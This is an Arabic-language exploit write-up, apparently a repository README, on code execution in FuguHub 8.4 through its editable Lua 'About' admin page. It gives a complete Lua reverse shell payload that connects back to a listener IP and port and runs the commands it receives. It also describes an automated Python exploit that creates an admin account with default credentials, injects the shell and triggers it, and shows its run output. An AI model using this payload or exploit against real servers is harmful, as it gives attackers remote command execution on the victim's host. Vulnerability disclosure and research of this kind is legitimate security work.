تنفيذ تعسفي للكود على FuguHub 8.4
FuguHub هو برنامج خادم وسائط سحابي. الإصدار الذي تم اختباره هو إصدار Debian على هذا الرابط:
https://fuguhub.com/articles/FuguHub-for-Debian تتيح ثغرة في FuguHub الإصدار 8.4 من شركة Real Time Logic LLC لمهاجم محلي تنفيذ أكواد تعسفية عبر سكربت مُعدَّ خصيصًا يستهدف صفحة "حول" (About) في لوحة المسؤول.
لقطة شاشة تعرض صفحة التنزيل الخاصة بـ FuguHub
wget FuguHub.com/install/FuguHub.linux.install
chmod +x FuguHub.linux.install
sudo ./FuguHub.linux.install
صفحة "حول" (About) هي صفحة Lua قابلة للتعديل ويمكن تغيير محتواها من خلال لوحة المسؤول. تقوم الثغرة بإدراج شل عكسية مكتوبة بلغة Lua في صفحة "حول"، وهي ظاهرة لكل من المستخدمين المسجلين وغير المسجلين.
لقطة شاشة تعرض صفحة حول القابلة للتعديل من قبل مسؤول FuguHub
يطلب FuguHub من المستخدم إنشاء مستخدم مسؤول، ويمكن القيام بذلك أيضًا على هذه الصفحة: http://127.0.0.1/rtl/protected/admin/
بمجرد الإنشاء، يمكن للمسؤول تخصيص الخادم (Customise Server) من خلال هذا الرابط: http://127.0.0.1/rtl/protected/admin/customize.lsp وهذا يسمح للمستخدم بتعديل صفحة About التي نلاحظ أنها تحتوي على قسم أكواد Lua يمكننا حقن الأكواد فيه.
لقطة شاشة تعرض كود lsp قابل للتعديل يعمل على الخادم لإرجاع إصدار البرنامج، وهذه هي نقطة الإدراج للشل العكسية
فيما يلي مثال على الحمولة:
<?lsp if request:method() == "GET" then ?>
<?lsp
local host, port = "192.168.0.107", 4444
local socket = require("socket")
local tcp = socket.tcp()
local io = require("io")
local connection, err = tcp:connect(host, port)
if not connection then
print("Error connecting: " .. err)
return
end
while true do
local cmd, status, partial = tcp:receive()
if status == "closed" or status == "timeout" then break end
if cmd then
local f = io.popen(cmd, "r")
local s = f:read("*a")
f:close()
tcp:send(s)
end
end
tcp:close()
?>
<?lsp else ?>
Wrong request method, goodBye!
<?lsp end ?>
يمكن الحصول على حمولة بديلة من سطر واحد من revshells.com
لقطة شاشة للشل العكسية بلغة lua من revshells.com
أثناء محاولاتي لأتمتة هذا الاستغلال، عثرت على CVE-2023-24078 والتي اكتشفت ثغرة رفع ملفات في FuguHub. تم تنفيذ ذلك الاستغلال باستخدام Python وكان يشمل تسجيل دخول / إنشاء حساب آليًا. استخدمت جزء المصادقة من هذا الاستغلال ثم أضفت كودًا يستغل نقطة الإدراج التي اكتشفتها حديثًا في صفحة customize.lsp. تم تضمين استغلال Python الخاص بي في المستودع تحت اسم exploit.py
usage: exploit.py [-h] -r RHOST [-rp RPORT] -l LHOST -p LPORT
┌──(kali㉿kali)-[~/pg/hub]
└─$ python3 exploit.py -r 192.168.XXX.XXX -rp 80 -l 192.168.XXX.XXX -p 5555
[*] Checking for admin user...
[+] No admin user exists yet, creating account with admin:password
[+] User created!
[+] Logging in...
[+] Success! Injecting the reverse shell...
[+] Successfully injected the reverse shell into the About page.
[+] Triggering the reverse shell, check your listener...